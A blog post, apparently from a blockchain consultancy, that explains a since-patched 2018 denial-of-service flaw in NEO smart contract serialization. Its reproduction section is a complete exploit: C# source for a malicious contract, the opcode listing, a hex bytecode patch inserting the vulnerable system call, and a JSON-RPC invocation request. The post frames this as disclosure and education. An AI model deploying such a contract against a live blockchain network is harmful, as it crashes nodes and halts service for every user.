Nobody likes it when theyโre prevented from getting what they want, and this is exactly what a denial of service (DoS) attack does. DoS attacks prevent users from accessing a particular service while also preventing the provider of that service from serving its customers.
Unfortunately, even blockchain technology isnโt immune to DoS attacks. In this post, we talk about the NEO DoS vulnerability that was recently discovered in NEO smart contracts. We give details about the NEO DoS [Denial of Service] vulnerability and show how to recreate it.
NEO is a smart economy platform aimed at digitizing real world assets with smart contract technology. The NEO network is in active development, so itโs fine if a few bugs are found and fixed along the way. A recent bug in NEO smart contracts (the NEP-5 token bug) allowed attackers to edit variables in the smart contractโs persistent storage by providing invalid transaction input. Our previous post contains more details about the NEO network in general and the NEP-5 token bug in particular. The most important thing about that bug is that it wasnโt a major issue. It has the potential to become a serious vulnerability if a complex contract were affected, but for the currently affected NEO smart contracts (most of which are NEP-5 tokens), the risk from this issue is negligible.
But in this article we focus on a more serious issue โ the DoS vulnerability bug on the NEO blockchain.
DoS vulnerability in NEO
Unlike any previous vulnerabilities in the NEO network, the most recent vulnerability, which was discovered by Zhiniang Peng from Qihoo 360 Core Security on August 15, 2018, could affect the entire network. This problem could result in a full-force denial of service attack. This attack would originate from a malicious smart contract and could be activated by invoking the contract. As the transaction was processed by the network nodes, each node would crash, eventually leading to the total collapse of the network.
Letโs take a look at the vulnerable code and the issue hidden in it. The problem lies within the smart contract platform, specifically in the System.Runtime.Serialize system call.
This is what the implementation of this system call looks like:
private void SerializeStackItem(StackItem item, BinaryWriter writer)
{
switch (item)
{
case ByteArray _:
writer.Write((byte)StackItemType.ByteArray);
writer.WriteVarBytes(item.GetByteArray());
break;
case VMBoolean _:
writer.Write((byte)StackItemType.Boolean);
writer.Write(item.GetBoolean());
break;
case Integer _:
writer.Write((byte)StackItemType.Integer);
writer.WriteVarBytes(item.GetByteArray());
break;
case InteropInterface _:
throw new NotSupportedException();
case VMArray array: // This case is vulnerable. It becomes vulnerable if we try to serialize an array with cyclic references.
if (array is Struct)
writer.Write((byte)StackItemType.Struct);
else
writer.Write((byte)StackItemType.Array);
writer.WriteVarInt(array.Count);
foreach (StackItem subitem in array)
SerializeStackItem(subitem, writer); // This is the recursive call that may result in a stack overflow exception.
break;
case Map map:
writer.Write((byte)StackItemType.Map);
writer.WriteVarInt(map.Count);
foreach (var pair in map)
{
SerializeStackItem(pair.Key, writer);
SerializeStackItem(pair.Value, writer);
}
break;
}
}
The DoS vulnerability hides in line 328 of the code shown above. There, recursion is triggered for an array of items. The same serialization function will be triggered for each element of the array. However, if the array contains a reference to itself, then the function will be called again for that same array. This will result in an infinite loop which eventually will trigger a stack overflow exception.
In most cases, such stack overflow exceptions are properly caught and handled, so a single exception canโt affect the entire program. But in this case, unfortunately, the stack overflow isnโt handled and the program crashes.
Recreating the DoS vulnerability
To get a better understanding of this problem, letโs try to recreate the NEO smart contract DoS vulnerability. In their original post, Qihoo 360 provided a proof of concept (PoC) program that would trigger the exception. However, that program isnโt a smart contract and simply uses the NEO library to demonstrate the crash.
We can provide a more accurate reproduction of the vulnerability by creating a malicious smart contract. This contract has to perform five actions:
- Create two arrays
- Add a reference to the first array into the second array
- Add a reference to the second array into the first array
- Put either of the two arrays on the programโs stack
- Execute the System.Runtime.Serialize system call
The first four steps of this algorithm are simple. This is how you can implement a smart contract that creates a cyclic reference in an array and pushes it onto the stack:
using Neo.SmartContract.Framework;
using Neo.SmartContract.Framework.Services.Neo;
using System;
using System.Numerics;
namespace NeoContract
{
public class Attacker : SmartContract
{
public static void Main()
{
object[] a = new object[2];
object[] b = new object[2]; // Create two arrays.
a[0] = 1;
b[0] = 2; // Add some junk data into the arrays (this step is optional).
a[1] = b; // Link the first array (a) to the second array (b).
b[1] = a; // Link the second array back to the first. At this point, the a array points to the b array and vice versa, creating an infinite loop.
var c = a[1]; // This line puts an element (in this case the b array) onto the stack.
// The optimizer would omit this line since itโs pointless. In this case, you would have to add an appropriate opcode yourself.
}
}
}
The problem is in the fifth step. Thereโs no straightforward way to call the serialize function and thereโs no way to add inline assembly in NEO smart contracts. So to add the call, we need to edit the compiled smart contract file and insert the needed opcode into it.
First, we need to compile a smart contract without any optimizations. We donโt apply any optimizations at this point for one reason โ they may remove some of the necessary steps from the algorithm described above. For instance, the last line that pushes the array onto the stack for us can be removed.
Hereโs the resulting opcode from the smart contract above:
#70 bytes
52 PUSH2 # Pushes the number 2 onto the stack.
c5 NEWARRAY #
6b TOALTSTACK # Puts the input onto the top of the alternative stack and removes it from the main stack.
52 PUSH2 # Pushes the number 2 onto the stack.
c5 NEWARRAY #
6c FROMALTSTACK # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP # Duplicates the top stack item.
6b TOALTSTACK # Puts the input onto the top of the alternative stack and removes it from the main stack.
00 PUSH0 # Pushes an empty array of bytes onto the stack.
52 PUSH2 # Pushes the number 2 onto the stack.
7a ROLL # The item n back in the stack is moved to the top.
c4 SETITEM #
52 PUSH2 # Pushes the number 2 onto the stack.
c5 NEWARRAY #
6c FROMALTSTACK # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP # Duplicates the top stack item.
6b TOALTSTACK # Puts the input onto the top of the alternative stack and removes it from the main stack.
51 PUSH1 # Pushes the number 1 onto the stack.
52 PUSH2 # Pushes the number 2 onto the stack.
7a ROLL # The item n back in the stack is moved to the top.
c4 SETITEM #
6c FROMALTSTACK # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP # Duplicates the top stack item.
6b TOALTSTACK # Puts the input onto the top of the alternative stack and removes it from the main stack.
00 PUSH0 # Pushes an empty array of bytes onto the stack.
c3 PICKITEM #
00 PUSH0 # Pushes an empty array of bytes onto the stack.
51 PUSH1 # Pushes the number 1 onto the stack.
c4 SETITEM #
6c FROMALTSTACK # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP # Duplicates the top stack item.
6b TOALTSTACK # Puts the input onto the top of the alternative stack and removes it from the main stack.
51 PUSH1 # Pushes the number 1 onto the stack.
c3 PICKITEM #
00 PUSH0 # Pushes an empty array of bytes onto the stack.
52 PUSH2 # Pushes the number 2 onto the stack.
c4 SETITEM #
6c FROMALTSTACK # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP # Duplicates the top stack item.
6b TOALTSTACK # Puts the input onto the top of the alternative stack and removes it from the main stack.
00 PUSH0 # Pushes an empty array of bytes onto the stack.
c3 PICKITEM #
51 PUSH1 # Pushes the number 1 onto the stack.
6c FROMALTSTACK # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP # Duplicates the top stack item.
6b TOALTSTACK # Puts the input onto the top of the alternative stack and removes it from the main stack.
51 PUSH1 # Pushes the number 1 onto the stack.
c3 PICKITEM #
c4 SETITEM #
6c FROMALTSTACK # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP # Duplicates the top stack item.
6b TOALTSTACK # Puts the input onto the top of the alternative stack and removes it from the main stack.
51 PUSH1 # Pushes the number 1 onto the stack.
c3 PICKITEM #
51 PUSH1 # Pushes the number 1 onto the stack.
6c FROMALTSTACK # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP # Duplicates the top stack item.
6b TOALTSTACK # Puts the input onto the top of the alternative stack and removes it from the main stack.
00 PUSH0 # Pushes an empty array of bytes onto the stack.
c3 PICKITEM #
c4 SETITEM #
6c FROMALTSTACK # Puts the input onto the top of the main stack and removes it from the alternative stack.
76 DUP # Duplicates the top stack item.
6b TOALTSTACK # Puts the input onto the top of the alternative stack and removes it from the main stack.
00 PUSH0 # Pushes an empty array of bytes onto the stack.
c3 PICKITEM #
61 NOP # Does nothing.
6c FROMALTSTACK # Puts the input onto the top of the main stack and removes it from the alternative stack.
75 DROP # Removes the top stack item.
66 RET #
Now we need to add the SYSCALL opcode instead of the final DROP opcode. The parameter for SYSCALL is the name of the function. The opcode will take parameters from the stack and execute the vulnerable function. To add the opcode, you can edit the hex representation of the compiled contract or open the avm file in any hex editor and edit the contract bytecode.
This is the original bytecode:
52 C5 6B 52 C5 6C 76 6B 00 52 7A C4 52 C5 6C 76
6B 51 52 7A C4 6C 76 6B 00 C3 00 51 C4 6C 76 6B
51 C3 00 52 C4 6C 76 6B 00 C3 51 6C 76 6B 51 C3
C4 6C 76 6B 51 C3 51 6C 76 6B 00 C3 C4 6C 76 6B
00 C3 51 C3 75 61 6C 75 66
^^^^^
Instead of the last two bytes here, insert the following:
68 15 4E 65 6F 2E 52 75 6E 74 69 6D 65 2E 53 65 72 69 61 6C 69 7A 65 00 66
If translated to the NEO assembly, this is:
68 SYSCALL (15 is the size of the function name; 4E 65 6F 2E 52 75 6E 74 69 6D 65 2E 53 65 72 69 61 6C 69 7A 65 00 is the function name Neo.Runtime.Serialize in ASCII)
66 RET
The resulting bytecode should look like this:
52 C5 6B 52 C5 6C 76 6B 00 52 7A C4 52 C5 6C 76
6B 51 52 7A C4 6C 76 6B 00 C3 00 51 C4 6C 76 6B
51 C3 00 52 C4 6C 76 6B 00 C3 51 6C 76 6B 51 C3
C4 6C 76 6B 51 C3 51 6C 76 6B 00 C3 C4 6C 76 6B
00 C3 51 C3 75 61 6C 68 15 4E 65 6F 2E 52 75 6E
74 69 6D 65 2E 53 65 72 69 61 6C 69 7A 65 00 66
Now the malicious smart contract is ready and can be deployed just like any other contract. To exploit the vulnerability, you need to invoke the contract. However, most wallets and command-line interface tools require testing the contract invocation before actually sending the transaction. During the test, the function is executed to estimate gas usage, and the wallet will crash due to the same exception.
To send the transaction directly to the network, you can use a remote procedure call. The easiest way to do that is to use Postman to send the request.
Hereโs what the request that would start the exploit looks like:
POST http://localhost:30333
content-type: application/json
{
"jsonrpc": "2.0",
"method": "invokefunction",
"params": [
"0x10a823850545670424c016624784c44f0b47afb7",
"",
[ ]
],
"id": 3
}
In this request, the only parameter needed to launch the contract (in the params array) is the script hash of the smart contract itself. You can find more information about this method of invoking a smart contract here.
Propagating this transaction will result in consensus nodes crashing one by one as they attempt to process the request. Eventually, itโll halt the entire network for as long as the transaction remains pending and the nodes keep attempting to process it.
Conclusion
The NEO network is a rather new yet promising smart contract platform. And even though certain bugs and security issues are discovered every now and then, the NEO team is working hard to fix those problems and improve their platform.
In the case of the denial of service vulnerability described in this post, the NEO team submitted the bug fix within a few hours of its discovery, which is an impressive response time for any development team. However, knowing the details about the NEO DoS vulnerability is beneficial for anyone who wants to ensure a high level of security and protection of their smart contracts on the NEO network.
Are you looking for a team of experienced blockchain professionals who can help you build a secure and bug-free blockchain-based solution? Get in touch with us and weโll get back to you shortly!